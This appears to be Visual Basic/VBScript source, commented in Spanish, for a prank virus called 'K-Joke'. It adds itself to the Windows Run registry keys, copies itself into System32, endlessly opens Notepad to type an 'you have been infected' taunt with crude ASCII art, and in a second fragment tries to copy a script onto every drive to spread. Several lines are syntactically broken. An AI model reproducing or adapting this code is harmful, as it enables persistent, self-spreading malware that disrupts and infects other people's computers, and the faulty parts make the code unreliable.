Private Sub Form_Load()

'Declaro algunas variables

Dim Molesto
Dim WSSvar
Dim i
Dim FSOvar

On Error Resume Next

Set WSSvar = CreateObject("wscript.shell")
WSSvar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\systemb", "C:\Windows\System32\K-Joke.exe"      

              'Se agrega al regsitro
WSSvar.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\systemb", "C:\Windows\System32\K-Joke.exe"

              'En este tambien, deben dejar solo uno, es opcional

Set FSOvar = CreateObject("Scripting.FileSystemObject")
FSOvar.CopyFile ".\SexDonkey.exe", "C:\Windows\System32\K-Joke.exe"

              ' Se copia asi mismo, en la ruta donde sera buscado luego en el registro

Do
Wscript.sleep 70000   
      ' No hara nada por 1,10 minutos y despues ejecuta el block de notas

Set Molesto = WSSvar.exec("Notepad.exe")
Wscript.sleep 1500      ' Le da tiempo al notepad para que se termine de abrir

WSSvar.AppActivate Molesto.processid
        ' Esto hara que coloque las palabras sobre el block de notas

Wscript.sleep 700                   'Esto es para asegurarse de que lo hara sobre el
WSSvar.AppActivate Molesto.processid

         'Envia pulsaciones de teclado que se escribiran sobre el notepad.
         'ustedes pueden escribir lo que quieran que les aparecera, como dice ahi.
WSSvar.SendKeys "Has sido infeKtado por mi V-InfeKtor"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "Eliminame si puedes..."
WSSvar.SendKeys "{ENTER}"
Wscript.sleep 670
WSSvar.SendKeys ".___"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "#   #     #       #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "#    #    #      #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "# |\  #   #     #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "# | | #   #    #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "# |/  #   #   #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "#    #    #  #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "#   #     # &"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "##=/      #@"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "# .-#     # &"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "# |\ #    #  #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "# | | #   #   #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "# |/   #  #    #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "#      #  #     #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "#     #   #      #"
WSSvar.SendKeys "{ENTER}"
WSSvar.SendKeys "#0oo./    #       #"
Loop       'Se repite nuevamente
  
 
End Sub

Dim WSSvar

Set WSSvar = CreateObject("wscript.shell")
WSSvar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\systemb", "C:\Windows\System32\K-Joke.exe"

Dim FSOvar
Dim Uni

Set FSOvar = createobject("scripting.filesystemobject")
Set Uni = FSOvar.drives		
For each x in Uni do
L = x.Drivesletter
if L = true then Objfso.copyfile ".\archivo.vbs",&L&":\"
msgBox "contagio en " &L&
exit do
End if
next